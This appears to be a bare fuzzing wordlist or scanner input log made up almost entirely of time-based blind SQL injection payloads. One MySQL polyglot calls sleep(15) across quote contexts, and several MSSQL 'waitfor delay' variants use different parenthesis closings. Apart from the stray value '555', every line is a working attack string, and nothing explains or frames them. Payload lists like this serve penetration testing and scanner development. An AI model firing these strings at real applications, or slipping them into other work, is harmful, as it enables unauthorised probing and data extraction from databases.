(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --